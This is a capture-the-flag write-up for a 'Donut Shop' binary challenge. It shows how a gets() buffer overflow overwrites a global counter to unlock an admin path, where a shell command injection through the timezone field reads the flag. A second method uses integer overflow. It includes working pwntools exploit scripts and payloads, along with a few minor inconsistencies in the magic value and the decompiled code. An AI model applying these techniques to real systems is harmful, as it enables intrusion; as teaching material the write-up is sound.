

Donut Shop

Time to take a look at our Donut Shop challenge !

Checking out the Dockerfile we can see that simply copies over the Donut shop binary and makes it available over the network.

Donut Binary Analysis

Taking a closer look at the Donut binary file with checksec .

```
Arch:          amd64-64-little
RELRO:         Full RELRO
Stack:         Canary found
NX:            NX enabled
PIE:           PIE enabled
RUNPATH:       b'$ORIGIN'
SHSTK:         Enabled
IBT:           Enabled
Stripped:      No
Debuginfo:     Yes
```

We can see that it has all protections enabled so we might need to leak some data if we are going for a classic buffer overflow attack, but lets take a look at the program first.

Running the program we are asked for our time zone and are then given a menu for a simple donut shop.

```
Welcome to the donut shop!
Please enter your timezone so that we can tailor your experience for today:
> aaaa
Timezone set to aaaa!
Options:
1. Buy a donut
2. Earn money to use in the shop
3. Maintenance
4. Exit
> |
```

Looking at the program in a decompiler (ida free in my case) we can see that the menu options line up with the following functions:

1. Buy a donut - buy

```
__isoc99_scanf("%d", &order);
if ( order > 0 )
{
    if ( -50 * order + money >= 0 )
    {
        donuts += order;
        money += -50 * order;
        printf("Bought %d donuts. Your balance is now %d.\n", donuts, money);
    }
    else
        format: const char[]
    {
        puts("Not enough money!");
    }
}
else
{
    puts("Invalid amount of donuts!");
}
```

2. Earn money to use in the shop - earn

```
getrandom(&target, 4LL, 0LL);
puts("What is your guess?");
printf("> ");
__isoc99_scanf("%d", &guess);
if ( guess == target )
{
    puts("Correct! You get $50");
    money += 50;
}
else
{
    puts("Oops, you lost half of your money!");
    money /= 2;
}
```

```

3. maintenance - maintenance
   if ( donuts == 0xCAFEBAE )
   {
       puts("Welcome to the admin panel!");
       puts("Date:");
       snprintf(cmd, 0x64uLL, "date --date='TZ=\"%s\\\"'", timezone);
       system(cmd);
       puts("What would you like to set your balance to?");
       printf("> ");
       __isoc99_scanf("%d", &money);
       puts("Balance set!");
   }
   else
   {
       puts("You aren't authorized to access this!");
   }

```

Looking at the code for these functions `maintenance` stands out. If our number of donuts are equal to `0xCAFEBAE` then it will put the value of `timezone` into a string that is passed to `system` !

Attack Time

So, how can we use this to gain RCE/read the flag ?

1. We need to set the number of donuts to the integer value `0xCAFEBAE`
2. Call maintenance function
3. Craft the value of `timezone` so that when the date command is passed to `system` we also run our own shell commands

Overflowing donut variable

Reviewing the main function of the program we can see the vulnerability we need to modify the value of `donut` .

```

donuts = 0;
puts("Welcome to the donut shop!");
puts("Please enter your timezone so that we can tailor your experience for today:");
printf("> ");
gets(timezone, argv);
printf("Timezone set to %s!\n", timezone);

```

There is an overflow vulnerability when calling `gets(timezone, argv)` . The `gets` function will read data from `stdin` until a newline character is found and does not check the size of data written. This means that we can write past the `timezone` buffer and into neighboring memory !

```

.data:0000000000004020 timezone db 41h, 6Dh, 65h, 72h, 69h, 63h, 61h, 2Fh, 4Ch, 6Fh, 73h
.data:0000000000004020 ; DATA XREF: LOAD:000000000000550↑o
.data:0000000000004020 ; maintenance+5E↑o ...
.data:000000000000402B db 5Fh, 41h, 6Eh, 67h, 65h, 6Ch, 65h, 73h, 0Dh dup(0)
.data:0000000000004040 public money
.data:0000000000004040 ; int money
.data:0000000000004040 money dd 532h ; DATA XREF: buy+1B↑r
.data:0000000000004040 ; buy+93↑r ...
.data:0000000000004044 public donuts
.data:0000000000004044 ; int donuts
.data:0000000000004044 donuts dd 1 ; DATA XREF: buy:loc_12F9↑r
.data:0000000000004044 ; buy+BB↑w ...
.data:0000000000004044 _data ends

```

Looking at the `timezone` variable we can see that it is stored within the `.data` section of the binary. We can also see that other global variables are stored here including `money` and `donuts`.

Perfect, we can use the BOF to overwrite the `donuts` variable to `0xCAFEBAFE`.

Using pwntools this is what the exploit looks like right now.

```

def exploit(p):
    p.recvuntil('tailor your experience for today:\n> ')
    buf = b'A'*36 + p32(0xCAFEBAFE)
    p.sendline(buf)

```

and running it on the target we get

```

Timezone set to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca!
Options:
1. Buy a donut
2. Earn money to use in the shop
3. Maintenance
4. Exit
> $ 3
[DEBUG] Sent 0x2 bytes:
    b'3\n'
[DEBUG] Received 0x22 bytes:
    b'Welcome to the admin panel!\n'
    b'Date:\n'
Welcome to the admin panel!
Date:
[DEBUG] Received 0x1d bytes:
    b'Wed May 14 20:00:00 EDT 2025\n'
Wed May 14 20:00:00 EDT 2025
[DEBUG] Received 0x2e bytes:

```

```
b'What would you like to set your balance to?\n'  
b'> '  
What would you like to set your balance to?  
> $
```

Awesome looks like we successfully set `donuts` and it ran the `system` function.

Command Injection

Now that we can call the `system` function, time to inject our malicious code into the system command. The command looks like this when sent to `system`

```
date --date='TZ="OURTIMEZONE"'
```

We can craft our payload to be

```
'; ls -la ;
```

```
date --date='TZ="'; ls -la #'
```

Our payload :

- closes off the the date string with a `'`
- then ends the command with `;`
- then calls our malicious code `ls -la`
- comments out remaining quotations using `#`

putting it all together we make our final exploit.

```
def exploit(p):  
    p.recvuntil('tailor your experience for today:\n> ')  
    command = b"'; cat flag.txt #"  
    buf = command + b'A'*(36-len(command)) + p32(0xCAFEBAFE)  
    p.sendline(buf)  
  
    p.sendlineafter(b'> ', b'3')  
    p.interactive()
```

Running it against the target.

```

Timezone set to ' '; cat flag.txt #AAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca!
Options:
1. Buy a donut
2. Earn money to use in the shop
3. Maintenance
4. Exit
> $ 3
[DEBUG] Sent 0x2 bytes:
    b'3\n'
[DEBUG] Received 0x22 bytes:
    b'Welcome to the admin panel!\n'
    b'Date:\n'
Welcome to the admin panel!
Date:
[DEBUG] Received 0x1e bytes:
    00000000 64 61 74 65 3a 20 69 6e 76 61 6c 69 64 20 64 61 |date|:
in|vali|d da|
    00000010 74 65 20 e2 80 98 54 5a 3d 22 e2 80 99 0a      |te
·|··TZ|="··|··|                                0000001e
date: invalid date 'TZ='
[DEBUG] Received 0x41 bytes:
    b'flag{testflaghere}\n'
    b'What would you like to set your balance to?\n'
    b'> '
flag{testflaghere}
What would you like to set your balance to?

```

Bonus Vulnerability

There is also another vulnerability that we can use to change the value of `donut` . Using an integer overflow/underflow within the `buy` function we can craft our orders of donuts to overflow

the int value of donuts to equal 0xCAFEBAFE .

```
__isoc99_scanf("%d", &order);
if ( order > 0 )
{
    if ( -50 * order + money >= 0 )
    {
        donuts += order;
        money += -50 * order;
        printf("Bought %d donuts. Your balance is now %d.\n", donuts, money);
    }
    else
    {
        puts("Not enough money!");
    }
}
```

First we pass a large value to the buy function so that

```
-50 * order + money >= 0 == TRUE
```

This results in our donuts increasing by order and our money underflowing to a large integer value.

Now we can pass in a large value that when added with the previous will be equal to

0xCAFEBAFE . From there we can use the command injection vulnerability like the previous exploit.

```
def exploit():
    p.recvuntil('tailor your experience for today:\n> ')
    command = b"'; cat flag.txt #"
    buf = command
    p.sendline(buf)

    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'like to buy?\n', b'1258207935')

    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'like to buy?\n', b'2147483647')

    p.sendlineafter(b'> ', b'3')
    p.interactive()
```